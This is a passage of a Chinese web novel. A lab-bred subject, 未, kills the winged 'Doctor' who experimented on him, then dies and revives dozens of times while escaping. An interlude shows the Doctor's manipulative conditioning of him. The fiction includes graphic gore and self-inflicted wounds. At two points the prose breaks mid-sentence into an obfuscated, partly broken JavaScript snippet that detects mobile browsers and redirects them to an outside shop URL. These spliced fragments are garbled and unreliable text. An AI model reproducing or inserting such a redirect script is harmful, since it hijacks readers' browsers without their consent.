一切回忆都像昨日重现般清晰。他松开手,玻璃碎片更深地契入博士脖颈的创口,发出一声粗糙的刮擦,仿佛碎玻璃正在磋磨着坚硬的颈椎骨。温热的液体随之从被割开的颈动脉里汩汩涌出,冲击着嵌在皮肉里的玻璃碴,发出细微而持续的滋滋声。 博士的身体并未立刻静止,一条腿无意识地蹬踹着地面,鞋跟与浸血的地面摩擦出黏腻的声响,喉咙深处还在发出被液体和碎肉堵塞的、断断续续的咯咯声。他踉跄后退,踩在混合着碎玻璃和血水的狼藉上,每一步都伴随着玻璃被进一步碾碎的脆响和液体被搅动的粘稠声音。警报系统不知何时已彻底停歇,整个空间陷入一种被这些细微、濒死的声响衬托得更加令人窒息的死寂。他环顾四周,那些曾经囚禁他的仪器仍在幽幽闪烁,仿佛在无声地记录着这最后的、野蛮的交响。 他杀死了施暴者,却发现自己挥出的每一分力量都源自暴力的塑造;他挣脱了牢笼,却发现自己呼吸的每一口空气都带着铁锈与消毒水的味道。复仇的冲动如潮水般退去,露出底下广袤而坚硬的虚无礁石。 他低头看着自己沾满鲜血和粘液的双手,那双手曾无数次在培养液中无望地划动,如今终于染上了仇人的生命,却感觉不到丝毫暖意,只有一种比培养液更甚、比金属舱壁更刺骨的寒意,正从骨髓深处,从每一个刚刚获得“自由”的毛孔里,不可逆转地弥漫开来。 他意识到,这场持续二十年的抗争,不过是将自己从一个可见的囚笼,拖入了一个更大、更无形的冰窖。他依然被困在原点,被困在那片永恒的、幽蓝色的、由痛苦与寂静构成的绝对零度里。因为…… 冰冷,是未认知中最初的,也是唯一的温度。 ▓▓▓▓▓▓▓▓ ▓▄[ ]▄▓ ▓▄[ ]▄▓ ▓▄[ ]▄▓ ▓▄[ ]▄▓ ▓▓▓▓▓▓▓▓ … ▓▓▓▓▓▓▓▓ ▓▄[=====]▄▓ ▓▄[=====]▄▓ ▓▄[=====]▄▓ ▓▄[=====]▄▓ ▓▓▓▓▓▓▓▓ … ▓▓▓▓▓▓▓▓ ▓▄[ ]▄▓ ▓▄[ ]▄▓ ▓▄[ ]▄▓ ▓▄[ ]▄▓ ▓▓▓▓▓▓▓▓ 红灯闪烁。 检测到【未授权信息】真实死亡!重复,检测到【未授权信息】真实死亡! 应急预案将在3秒后启动…… 3. 【二】 实验室的冷光如凝固的霜,覆盖着每一寸合金表面。未背靠着冰凉的门板,耳边回荡着远处巡逻机械规律而冰冷的足音,以及自己心脏失控般的撞击声。他的指尖抵住实验室主通道的合金门,记忆中那足以撕裂苍穹、咆哮奔涌的雷暴力量,本应在此刻凝聚爆发,将这扇囚禁他的门化为碎片。 他绷紧全身肌肉,如同过去二十年被反复训练的那样,试图唤醒那些沉睡的、曾经如臂指使的能量。神经末梢传来撕裂般的痛感,但预想中的湛蓝雷光并未出现——只有几点苍白而微弱的静电火花从他颤抖的指尖迸出,在厚重的金属门上留下转瞬即逝的焦痕,仿佛是对他的嘲弄。 刺耳的警报声瞬间撕裂了走廊的寂静,旋转的红光将他因绝望而扭曲的脸映得忽明忽暗。他猛地回头,那本名为“生死之誓”的猩红书册正无声悬浮在他肩后一臂之遥,高度与他的视线平行。书页无风自动,翻至新的一页,上面浮现出冰冷如仪器记录的墨迹:【能力测试1:电压0.0V】。 无能。这两个字如同博士那镶银边的皮鞋,狠狠碾过他仅存的尊严。 他转身逃离,像一条被拔去毒牙的蛇,仓皇窜入侧面一条废弃的消毒通道。反手扣上锈迹斑斑的门栓,背后立刻传来沉重的撞击声——是巡逻的自动防卫单元。他背靠着剧烈震颤的门板滑坐在地,粗重地喘息。 那本猩红的书如同幽灵般穿透物质阻隔,悄无声息地靠近。书角在他仓惶闪避时擦过额角,颧骨立刻传来锐利的刺痛,渗出一道细小的血线。这疼痛带着一种冰冷的侵入感,让他瞬间回忆起被博士注射抑制剂时,沿着脊椎蔓延的寒意。 然而这一次,连一丝报复性的电弧都未能从他曾经蕴藏雷霆的指间炸开。 “求你了……”嘶哑的声音从喉咙深处挤出,连他自己都感到陌生。这是长期静默实验的后遗症,他的声带几乎忘了如何正常振动。他将滚烫的掌心贴在潮湿的墙面上,那里布满霉斑与水渍。若在从前,电流会顺着水痕奔腾,瞬间烧焦墙内埋设的电路。但现在,暗室里只有他带着哭腔的急促喘息在徒劳地回荡。 他想起关于再生能力的谎言。曾在极度愤怒中,他抓起一把生锈的手术刀狠狠刺入大腿。剧痛袭来,他本能地屏息等待那熟悉的愈合麻痒——过去这样的创伤会在五秒内消失。 但没有。 他眼睁睁看着殷红的血珠从伤口滚落,滴在生死之誓的封面上,洇开一片污渍。他不信邪,发狠般将刀刃又往里送,直到刀尖撞上骨头。 逃离这间临时避难所的唯一路径,是头顶上方一个松动的通风管道栅盖。他必须爬进去,借助错综复杂的管道系统避开追捕。第一次尝试,他助跑跃起,手指勉强够到栅格边缘。就在用力扯拽的瞬间,肩膀传来肌肉纤维撕裂的锐痛,让他闷哼着松手。落地时,他下意识看向生死之誓,书页纹丝不动,但疼痛的位置与他发力部位完全镜像。 一个荒诞而可怕的念头如毒蛇般钻入脑海。 他喘息着再次尝试。这次他找到一个废弃仪器箱垫在脚下,用手肘撞击锈死的栅盖接口。更沉重的钝痛立刻在肘关节炸开,仿佛骨头已然开裂。他痛得蜷缩起来,栅盖却纹丝不动。 第三次,他捡起半截钢管试图撬开障碍。用尽全力下压时,虎口与前臂肌肉因过度用力而痉挛。同时他感到胸腔与肋骨传来被巨力挤压的痛楚,仿佛被无形铁箍勒紧,几乎无法呼吸。钢管脱手飞出,当啷落地。 他瘫倒在冰冷的金属地板上,汗水浸透破烂的实验服。目光死死盯住那本悬浮空中、仿佛在静静“观察”他的猩红书册。 疼痛的部位,始终与他试图破坏书册的动作精确对应。 他想起更早的尝试:撕扯书页时肩胛骨传来的撕裂感;将书按在起火仪器上时掌心浮起的水泡;把书锁进防爆保险柜后,后脑勺残留的被重击的钝痛。 疼痛部位始终与破坏书的动作部位镜像。书册悬浮高度恒定于视线水平线。任何环境伤害无法在书封留下痕迹。 原来答案早已用最残酷的方式写在他的每一次疼痛之上。 他对抗的不是一本书,而是一个将他的感官与书强制同步的、无法理解的契约。任何施加于书的“力”——撕扯、焚烧、遗弃——都会以疼痛的形式百分百反馈于自身。书是他的痛苦映射,是他的行动枷锁。 “记录我的丑态很有趣?”他用嘶哑的嗓音对着空气呓语,目光却锁定在生死之誓上。 书页的翻动微不可察地停顿了一瞬。那短暂的静止带着拟人化的审视,仿佛真有某种意识在凝视他的挣扎与狼狈。 验证结束了。他终于明白这玩意的本质:不是武器,不是工具,甚至不全是监视器。这是一个疼痛的共生体,一个将他所有反抗意志转化为自我折磨的恶毒契约。 绝望如冰潮漫过心脏。 但他不能停下。 未挣扎着爬起,放弃所有直接暴力的破障方式。他必须找到同步规则的漏洞。环顾四周,目光落在那半截钢管和几段散落的电线上。 或许可以用这些工具制造间接的、非直接接触的力? 忍着全身酸痛,他将电线缠绕在通风管道栅格上,另一端系住沉重的仪器箱,试图利用杠杆原理让栅盖被撬动时,“力”不完全源于自身。这是个笨拙而不确定的尝试。 推动仪器箱、感受电线绷紧时,肋间与腹部再度传来熟悉的挤压痛感,但似乎比直接用力稍轻。栅盖发出刺耳的金属摩擦声,松动了一线。 希望如微弱的火苗重新点燃。 就在他调整角度准备再次尝试时,消毒室门栓发出不堪重负的呻吟。巨大冲击力从门外传来,整个门框都在震动。 未心一横,再次奋力推动仪器箱,无视身体反馈的剧痛。铁丝深勒入手掌模拟出切割的痛楚;沉重的拉力让背部肌肉如同被撕裂。 “嘎吱——哐!” 栅盖终于被强行撬开,歪斜地挂在洞口。 未用尽最后力气手脚并用地向上攀爬。冰冷粗糙的管道内壁摩擦皮肤,带来火辣辣的刺痛。他奋力向内爬去,将下方机械单位的嗡鸣甩在身后。 黑暗、狭窄、积满灰尘的通风管道成了暂时的庇护所。他不敢停留,拼命向深处爬行,直到力竭才瘫软在管道连接处,剧烈咳嗽着,肺部灼痛难当。 他成功了吗? 喘息着回望来路,一片漆黑。追兵似乎没有立即跟进。紧绷的神经稍稍松弛。 然后他看见了它。 那本猩红的生死之誓,依旧悬浮在前方管道拐角的阴影里。高度,恒定在他的视线水平线上。 它从未被摆脱。 就像这疼痛的契约,如同附骨之疽。 未蜷缩在冰冷的金属管道内,望着那本仿佛拥有生命的书册,感受着验证过程中积累的新鲜痛楚。他不再尝试攻击,甚至不再愤怒地直视。 只是空洞地望着。 他抬起因多次尝试而伤痕累累、仍在渗血的手。看着伤口,再看看那本毫发无伤的书。 深不见底的疲惫淹没了他。 验证结束了。反抗似乎只是延长痛苦的过程。在这场逃亡中,他与这本书,究竟谁才是被观测、被测试、被记录的无能者? 管道外隐约传来细微的、雪粒敲打金属的声响。很轻,却带着不祥的预兆。 未闭上眼睛,将额头抵在冰冷粗糙的管道内壁上。 ...... 这是他第二十三次尝试逃离。 不,更准确地说,是他记忆中的第二十三次。 三个月前,他在B7区的能源核心维护通道里摸索前进,脚下突然打滑,从三十米高的平台坠落。脊椎断裂的剧痛、血液涌上喉头的腥甜、视野渐渐暗下的过程,他都记得清清楚楚。 然后,他在能源控制室的休息椅上醒来。 起初他以为那是噩梦,直到他发现自己右臂上多了一圈淤青——那正是他坠落时最先撞击到护栏的位置。更诡异的是,那本猩红色的书就放在他手边,烫金的纹路在实验室的冷光下泛着微妙的光泽。 接下来的几次"意外死亡"让他逐渐明白了规律。每次死亡后,他都会在之前的某个时间点恢复意识,而那本猩红书册总会出现在他触手可及的地方。书页会自动浮现文字,记录他每次死亡的细节和轮回的次数。 但真正关键的发现发生在他的第五次轮回。 那一次,他故意让自己被巡逻机械的激光射中。在剧痛袭来的瞬间,他紧紧抓住那本猩红书册,在脑海中疯狂地想着:"让我回到三天前!回到能力测试之前!" 他成功了。 当他再次恢复意识,发现自己正躺在实验室的地上,他比上次提前了整整三天"醒来"。 从那一刻起,逃亡的性质彻底改变。这不再是一次次盲目的尝试,而是变成了一个有进度可读的游戏。每一次死亡,都让他对实验室的布局、巡逻规律、安全漏洞有更多了解。每一次恢复意识,他都可以选择回到更早的时间节点,尝试不同的路线和策略。 那本猩红书册成了他的日志、他的地图、他的痛苦记录者。他很快发现了那残酷的同步法则——任何对书的伤害都会反馈到他自己的身体上。撕扯书页会撕裂他的肌肉,焚烧封面会烫伤他的手掌,遗弃书本会让他感到被重击的钝痛。 但他也学会了利用这种同步。当他需要确认某个陷阱是否还在原处时,他会在书上轻轻划一道——指腹传来的刺痛告诉他答案。疼痛成了他最可靠的地图。 第四次轮回开始时,未在通风管道里睁开眼睛。 铁皮刮破膝盖时,他竟觉得亲切——至少这疼痛证明他还活着。 指尖刚触到出口栅栏,淡蓝激光网便无声浮现。他眼睁睁看着自己的手掌先一步滑入光幕,断指落地声比痛觉来得更快。猩红书册从怀中跌落,被激光切成两半的瞬间,未的脊椎仿佛同时断裂。 重新恢复意识时,他发现自己蜷缩在实验室的血泊中,止不住地干呕。膝头的擦伤火辣辣地提醒着他:这次记得避开第三截管道的弯角。 他集中意念,选择回到两周前,那时实验室正在自动更换通风系统的过滤器,有更多的维修通道对外开放。这是博士死后的第二周,整个实验室已经陷入半自动化运行状态。他清楚地记得,自己最多只能回到那个改变一切的日子——博士倒在他面前的那一刻。再往前,时间就像被锁死了一样,无法触及。 第七次轮回让他学会了新的技巧。 灭火泡沫涌入口鼻的滋味,像被灌进融化的塑料。未在浓烟中癫狂大笑,火苗本应是他最亲密的玩具,此刻却连一张实验台都烧不透。 化学药剂腐蚀眼球的剧痛中,他摸索着去抓那本猩红书册。书页沾满泡沫膨胀发皱,每撕下一页都像扯掉自己的皮肤。重新恢复意识后,他用了整整三分钟,才把卡在喉管的幻痛咳出来。 这次,他选择回到十天前,那时东翼的消防系统正在进行维护,或许有可乘之机。他记得要在储藏室找到那双绝缘靴子,上次就是脚部冻伤让他在雪地里只坚持了五分钟。时间的界限如此清晰——他永远无法回到博士还活着的时光,所有的轮回都被限制在那个血腥的夜晚之后。 第十九次轮回时,未已经开始习惯与疼痛共处。 冷藏柜的寒气钻进骨髓时,他想起某个冬夜偷溜出培养舱的往事。那时他还能用雷光暖手,现在只能呵出苍白雾气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848488|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在结霜的柜门画笑脸。 意识模糊前,他用冻僵的手指在那本猩红书册上抠划。冰晶混着血沫的痕迹,像极了童年病房窗上的涂鸦。重新恢复意识后,他发现自己下意识蜷在实验室角落,那位置恰好避开了监控探头的第五次扫描周期。 他回到了一个月前,屏幕上的体能测试结果显示他的肌肉量只有正常人的百分之六十。但至少,他知道该去哪里找那件博士的旧毛衣了。每次轮回开始时,他都会第一时间冲向博士的私人储物柜——那里有他急需的御寒衣物。博士死后,这些物品都保持着原样,仿佛在等待主人的归来。 第三十三次轮回带来了新的发现。 电网陷阱触发时,未突然理解了实验室小白鼠的眼神。电流缠绕着猩红书册跃动,烫金的封面花纹烙进掌心。他数着自己肌肉痉挛的次数等待死亡,像在数母亲离开后的雨季天数。 这一次,他选择回到三周前,那时实验室的电力系统曾经出现过一次大规模故障。他记得要趁乱从物资仓库多拿几双厚袜子,上次逃亡时他的脚趾差点冻掉。时间的枷锁依然牢固,他试过无数次想要回到更早的时候,回到博士还在的时候,但每次都像撞上一堵无形的墙。他所能触及的最远点,就是博士尸体尚有余温的那一刻。 第四十七次轮回时,未对痛苦的感知已经发生了微妙的变化。 排水管道的铁锈割开动脉时,他竟觉得浪漫。血珠顺着污水蜿蜒成枝桠状,比他曾经召唤的雷纹更绮丽。猩红书册泡在血水里浮沉,书页肿胀的疼痛从指尖漫到心口。 这次重新恢复意识后,他学会用止血带扎紧大腿根,动作熟练得像给童年玩偶缝合伤口。他还记得要提前准备好博士那件防风外套,上次在雪原里,单薄的实验服根本抵挡不住严寒。 他回到了两个月前,那时暴雨导致排水系统水位上升,或许能提供新的路径。他的身体依然虚弱,但至少现在有了足够的保暖装备。这是他能回到的最早时间点,再往前就是禁忌的领域。有时他会在深夜思考,如果当初没有发生那件事,如果博士还活着,他的逃亡是否会容易一些。但这个假设永远无法验证。 第五十九次轮回让他对那本猩红书册产生了新的认知。 当意识沉入黑暗前,他忽然伸手想替猩红书册挡下光束——这动作毫无意义,就像曾经妄图用雷球击碎培养舱的钢化玻璃。 他选择回到两个月零三周前,那时他刚发现自己的能力正在衰退,但至少还能勉强维持体温。现在,他只能依靠偷来的衣物在雪原上求生。时间的界限就在这里,这是他轮回的起点,也是博士生命终结的时刻。往后的三个月里,他独自面对这个冰冷的实验室,以及更冰冷的雪原。 每一次轮回,他都带着新获得的知识回到过去;每一次死亡,都让他的身体记住新的疼痛。而那本猩红书册默默地记录着一切,它的书页变得越来越厚,仿佛承载了他所有的痛苦与记忆。 当未第四十八次踹开逃生门冲进雪原时,那本猩红书册像片枯叶贴在他后背。曾经能踏雪无痕的闪电步,如今在积雪中拖出歪斜的沟壑。他裹着从博士房间偷来的厚重冬衣,脚上是特制的绝缘靴,但每走一步仍然感到呼吸困难。 他跪倒在冻湖边缘,徒手砸向冰面。裂纹在苍白的皮肤下蔓延时,湖底突然浮起博士苍老的倒影——那是他记忆中最后见到博士的样子。未尖叫着后仰,后脑勺撞上悬浮的猩红书册。钝痛与眩晕中,他看见血滴在书页上凝成:【体能测试:低于基准线72%】 雪粒扑进领口时,未把猩红书册按在狂跳的心口。实验室的警报声渐远,他数着心跳等待巡逻无人机——这次记得左数第七棵枯树后有掩体。他拉了拉博士那件厚实外套的领子,庆幸自己这次记得提前准备好所有御寒装备。 怀中的书突然发烫,烫伤的位置与某次电击死刑的创口完全重合。未把脸埋进雪堆吞下呜咽,融化的雪水混着血锈味,比他喝过所有营养剂都真实。 四十八次轮回。四十七次死亡。三个月的时间跨度。 他知道了每一条走廊的监控盲区,记住了每一个守卫的换班时间,摸清了每一道安全门的解锁密码。他知道哪个通风管道的螺丝容易松动,哪段电网会在雨天短路,哪个排水沟能通往外界。 更重要的是,他知道自己不再是从前那个拥有雷电之力的未。那些能力在一次次的死亡与重生中逐渐消散,就像被磨钝的刀刃。他的身体依然虚弱,走不了多远就会气喘吁吁,但他学会了如何在这具残破的身躯里寻找生存的可能。他获得了别的东西——一种近乎本能的、对疼痛的熟悉,对死亡的无所畏惧。 当未再次恢复意识,他正站在实验室的主通道门前。这是他的第四十八次,也是最后一次尝试。他不再需要思考,身体自己知道该怎么做——侧身避开激光感应器,用从厨房偷来的磁卡刷开安全门,在巡逻机械转身的瞬间滚入阴影。他的动作依然带着病态的迟缓,但每一步都精准无误。 三小时后,他站在了雪原上,呼吸着自由的空气。实验室的灯光在身后渐远,像一颗黯淡的星辰。厚重的冬衣让他勉强抵御着严寒,但每吸一口气,肺部还是像被冰刺扎中般疼痛。 未低头看着手中的猩红书册,翻开书页。上面缓缓浮现出新的文字: 【轮回终结。自由之路开启。】 他轻抚着那些字迹,指腹传来熟悉的刺痛。这一次,疼痛不再是惩罚,而是自由的代价。 未将书紧紧抱在胸前,迈步走向雪原深处。虚弱的身体在积雪中艰难前行,每一步都留下深深的脚印,像在为他的四十八次轮回作证。 疼痛会过去,伤口会愈合,但自由的味道,他将用余生来品尝。 4. 【二】间章 在无数轮回碾压出的血色记忆深处,在那些为逃离而不断重复死亡的缝隙里,偶尔会浮起一段模糊的、与其他残酷训练截然不同的时光。那像是紧绷到极致的琴弦偶然松懈时,发出的一声喑哑的嗡鸣。 那个时期,始于他一次濒死的重创。具体的实验项目已被大脑的保护机制模糊,只留下身体对于剧痛和机能崩溃的原始记忆。他在维生舱里躺了不知多久,每次从混沌中短暂清醒,都能透过朦胧的舱壁玻璃,看到一个身影坐在外面,一动不动,像一尊落满灰尘的雕塑。那是博士——拥有一张仿佛凝固在十七八岁、精致却毫无生气的面孔,以及一对即便收敛在身后,也依旧显眼得无法忽视的、纯白羽翼的博士。谁也不知道那对翅膀能否带他翱翔,它们如同一个静默的符号,昭示着他非人的本质。 当他终于被移出维生舱,身体依旧虚弱得无法自行站立时,预想中的新一轮实验或惩罚并未降临。博士只是把他安置在一个离控制中心更近的、带有一扇巨大观察窗的小房间里。窗外的景象是虚拟投影,一成不变地展示着一片荒芜的、覆盖着灰白色积雪的旷野,和一片永远阴沉、仿佛凝固了的天空。 就是从那时起,博士开始对他“说话”。他第一次开口的契机,来得突兀而冰冷。 “Z-99,”博士没有回头,声音平静地穿透空气,“L-88死了。” 未蜷在柔软的垫子上,沉默着,心脏却微微一缩。L-88,那个总能在极端痛苦中挤出笑容的实验体。 “他私下给我起了个外号,‘行走的人形天灾’。”博士继续说着,语气里听不出喜怒,只有一种陈述事实的漠然,“我记得,他当时对你说过。你没接话。” 未的呼吸窒住了。他记得那个瞬间,在充斥着消毒水气味的走廊拐角,L-88凑过来,眨着眼睛,用气音飞快地说:“看,我们伟大的‘监护人’来了,‘行走的人形天灾’!Z-99,你觉得贴不贴切?”他当时只是低下头,加快了脚步,心脏狂跳,仿佛那个称呼本身带着诅咒。 “很有趣的形容,不是吗?”博士缓缓转过身,那双年轻却深不见底的眼睛看向未,羽翼随着他的动作轻微舒展,带起一丝微弱的气流,“但他搞错了一件事。天灾是无意识的,是自然的伟力。而我做的每一件事,都经过精确计算。”他走向未,步伐无声,巨大的翅膀在他身后投下令人窒息的阴影。“我清除他,不是因为他给我起外号,而是因为他试图将这种不敬的、非理性的定义,像病毒一样传播。他试图动摇‘定义’本身的权力。而你,Z-99,你的沉默,在当时是明智的。” 博士在未面前停下,缓缓蹲下,使得那张青春永驻的脸与未的视线齐平。这个姿态是前所未有的,充满了某种刻意营造的、扭曲的“平等”假象。 “你以为我建造这一切,是为了囚禁你吗,未?”博士的声音像是浸透了某种陈年的疲惫,与他年轻的面容形成诡异的反差,“不。这是方舟。是堡垒。外面…外面已经没什么值得称之为人间的东西了。” 未沉默地听着。他没有出去过,他对“世界”的全部认知,都源于这个庞大、精密而冰冷的实验室,以及博士此刻的话语。 “L-88那种轻浮的态度,正是外面世界的缩影。”博士的指关节轻轻敲击着合金窗框,发出规律的、令人不安的嗒嗒声,“那是一个丝毫不讲道理的社会。弱肉强食?那太文明了。那里盛行的是…彻底的、令人发指的混沌与堕落。秩序崩坏,道德沦丧,人们为了半块发霉的食物,可以轻易割开邻居的喉咙。信任是催命符,仁慈是奢侈品。” 博士猛地站起身。“你知道最可怕的是什么吗?不是资源的匮乏,不是环境的恶化,而是…宗教!那些该死的、如同病毒般滋生的新兴宗教!”他几乎是在低吼,俊美的脸庞微微扭曲着,“他们不再崇拜神明,他们崇拜痛苦,崇拜虚无,崇拜毁灭本身!他们把辐射病视为神赐的印记,把相互残杀当作神圣的仪式!我讨厌宗教,未,我讨厌一切非理性的、将人拖入蒙昧与疯狂的狂热!L-88的玩笑,就带着这种非理性的苗头,所以他必须被清除!” 他的情绪激动起来,在房间里快速踱步。“科技在倒退,文明在坍塌。外面的人…他们已经不能称之为完整的人了。他们的基因在辐射和病毒下变得不稳定,身体发生各种诡异的畸变,精神更是支离破碎。他们是一群游荡在废墟上的、自诩为信徒的怪物!而我们,”他猛地停下,翅膀展开,“我们是这里最后的理性!最后的秩序!” 长久的沉默在房间里弥漫,只有博士略显急促的呼吸声。他巨大的翅膀缓缓收拢,重新温顺地贴合在身后。他再次走到未的面前,蹲下,目光紧紧锁住未,那双年轻的眼睛里,此刻却盛满了与外貌截然不同的、属于垂暮之人的疲惫与…某种渴望。 “我活得够久了,未。”博士的声音突然变得极其低沉,带着一种近乎脆弱的确切,“久到看着文明一次次轮回,久到觉得一切都很没意思了。这个实验室,是我们最后的栖身之所,但它并非绝对安全。外面那些…‘东西’,他们迟早会找到这里。”他的目光如同实质,压在未的身上,“我需要一个守护者。一个最强大、最忠诚的守护者。不是L-88那种轻浮的、会给我起外号的蠢货,而是你。” 他伸出手,冰凉的手指触碰未的肩膀,那触感让未微微一颤。“我训练你,未。我打磨你,让你变得锋利,让你能承受常人所不能…不是因为我想制造一个怪物。”他顿了顿,仿佛下一个字有千钧之重,“是因为…我需要被保护。我需要你。” 未的呼吸彻底停滞了。他活在实验品的身份里,活在疼痛与服从的循环中。他从未想过自己存在的意义,或者说,他存在的意义就是承受和服从。而现在,博士给了他一个全新的、沉重的、却带着奇异温度的定义——守护者。他不是被随意消耗的工具,他是被需要的,他背负着另一个人的生存希望,而这个人是塑造了他整个世界的博士。L-88的死,此刻仿佛也成了这定义的一部分,一个血色的注脚,警示着背离这份“职责”的下场。 那一刻,未的心中,有什么东西被彻底触动了,同时也被套上了更牢固的枷锁。 那个时期之后,训练依旧严苛,但性质悄然改变了。折磨性的、以观察极限反应为目的的实验大幅减少,取而代之的是更具针对性的、实战化的技能训练。博士开发出了一套复杂的手势和数字指令系统。 一个快速下劈的手势,意味着瞬间爆发冲刺至指定点位;食指与中指并拢点向太阳穴,需要立刻进入高度专注的精神状态,感知周围环境的细微能量波动;一声短促的“七”,可能要求他在三秒内解开一道复杂的逻辑锁;而一声拖长的“三”,则可能需要他持续输出稳定的能量流,维持某个屏障。 未执行这些指令时,不再仅仅是因为恐惧惩罚。他甘之如饴。因为与过去那些毫无理由、只为测试他疼痛阈值的电击、冰冻或药物注射相比,这种具有明确目的性的、被“需要”的训练,几乎可以称得上是…仁慈。博士不再轻易让他流血,不再看着他在地上因剧痛而痉挛翻滚时无动于衷。现在的“苦”,是为了那个“将来”,为了那个“一起出去”的承诺,为了他作为“守护者”的职责,也为了不成为第二个L-88。 …… 这种被需要、被赋予明确目的的“正常”训练生活,对未而言已近乎是一种恩赐。他像久旱逢甘霖的沙漠旅人,贪婪地汲取着这份带着清晰指向的“痛苦”,并将其内化为自身存在的价值。博士的指令,无论是手势还是数字,都成了连接他与这个世界的、唯一的、也是他心甘情愿背负的枷锁。这枷锁,在博士赋予的“守护者”意义的光辉下,在L-88血淋淋的教训对比下,显得如此温顺,甚至…温暖。而那对时常在视野中掠过的、属于博士的纯白羽翼,既是这庇护所的象征,也是无声的威慑,时刻提醒着他所处位置的微妙与危险。 未确实沉浸在这种甘美的错觉里。他精准地执行每一个手势指令,应对每一个数字代码,将□□的疲惫与精神的紧绷都视作为未来那份沉重职责必须付出的代价。他甘之如饴,因为这比起纯粹作为实验体承受无意义的痛苦,已然是天堂。 然而,博士的欲望如同深渊,永难填满。 变化的征兆初时微妙。博士开始在某些训练间歇,用那种探究的、燃烧着某种难以言喻期待的目光长时间地凝视他。那目光不再仅仅是评估一件工具的性能,更像是在审视一个未解的谜题,或者说,是在等待一个预期的、却迟迟未发生的“反应”。 然后,话语开始悄然变质。 “未,你的执行无可挑剔,”在一次完美的规避训练后,博士的手指轻轻敲击着控制台,声音平缓,却带着无形的压力,“但总是依赖于我的指令,这不够… … 远远不够。想象一下,在外面,危险来临前不会有任何提示音。我们需要… … 更进一步。” “更进一步”这个词,开始像幽灵般频繁萦绕在博士的口中。它像一个没有坐标的目的地,让未感到心神不宁。他早已习惯了明确的指令,哪怕是带来痛苦的指令。但这种模糊的、需要他自己去揣测和理解的“要求”,让他无所适从。 “我希望你能更主动一些,未。”博士在某次为他检查身体数据时,修长的手指划过他肩胛骨上旧日的伤疤,语气近乎叹息,“一个真正的守护者,需要有自己的判断力,有自己的… … 主动性。总是被动响应,在真正的危机面前,终究是慢了半拍。” “主动”?这个词像一颗投入死水的石子,在未的心湖中漾开混乱的涟漪。他试图去理解,去满足。在接下来的训练中,他尝试在博士发出明确指令前,根据环境态势做出预判,提前半秒移动,或是选择了与指令略有不同但似乎更优化的路径。 然而,每一次他鼓起勇气展现出的、微小的“主动”,换来的都是博士骤然冰冷的眼神和毫不留情的斥责。 “谁赋予你擅自改变路线的权力?” “你的判断基准是什么?自以为是的聪明吗?” “记住你的位置,未!在得到明确许可前,任何‘主动’都是失控!” 紧接着,往往是惩罚性的、远超负荷的高强度训练,或者是一剂带来强烈眩晕与虚弱感的抑制剂,让他肌肉酸软,精神涣散,再也无法集中精力去思考何为“主动”。 未彻底困惑了。他像一只被反复调整方向的陀螺,在“我希望你主动”和“谁允许你主动”的矛盾指令中晕头转向,心神不宁。他渴望维持那段相对平和、具有“意义”的关系,但博士显然不只想维持。博士想要更多,却在他试图给予时,又狠狠地将他的手打落,并将他推入更深的迷雾。 这种令人窒息的矛盾拉锯,在一次深夜的谈话中,被推向了一个危险的临界点。 那晚,未完成了一轮极限耐力测试,虚脱地靠在冰冷的金属墙边。博士没有像往常一样立刻记录数据,而是拖过一把椅子,坐在他对面,隔着一臂的距离。实验室的主灯已熄灭,只有几盏备用电源发出幽蓝的微光,勾勒出博士那张年轻却毫无生气面孔的轮廓。 “未,”博士的声音在近乎绝对的寂静中显得格外清晰,也格外具有穿透力,“我们之间的信任,似乎还存在隔阂。” 未抬起沉重的眼皮,沉默地看着阴影中那张俊美而非人的脸。 “我给了你机会,希望你向我证明,你不仅仅是服从,你拥有更重要的东西——自主的意志,以及将这份意志,毫无保留地用于守护我的决心。”博士的目光如同无形的实体,沉重地压在未的身上,“但我一次次失望。你依然在等待,在观望。你在害怕什么?害怕我的惩罚?还是…害怕承担‘主动’所带来的那份责任?” 未张了张嘴,喉咙干涩得发不出任何声音。他想说,我尝试过,但您推开了我。 博士似乎精准地捕捉到了他未成形的思绪,缓缓摇头,语气带着一种奇异的、混合了失望与诱惑的意味:“那些只是测试,未。测试你的意志是否坚定,是否能坚持自己的选择,即使面对我的否定。真正的‘主动’,需要更决绝的勇气… … 一种… … 敢于打破现有格局、甚至敢于挑战我权威的魄力。” 他向前倾身,幽蓝的光线在他深邃的眼中闪烁,如同深潭下摇曳的鬼火。“这样吧,未。我们做一个约定,一个真正的、能够通往平等的约定。” 博士一字一顿,声音清晰得如同冰凌碎裂: “只要你能,在某一个时刻,纯粹凭借你自己的意志,不是在我的指令下,而是完全源于你自己的想法——把我推倒一次。不是字面意义上的伤害,而是完成那个动作,那个象征着你敢于突破界限、敢于触碰权威的动作。” “只要你做一次,”博士的声音低沉而充满蛊惑,身后的翅膀似乎也因这承诺而微微舒展,投下更浓重的阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848489|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我就立刻停止所有这一切训练和实验。我保证,我会把你当成一个平等的人来看待。我会兑现我最初的承诺,带你离开这里,去看真正的天空。不是这虚假的投影,是真实的、广阔无垠的外界。” 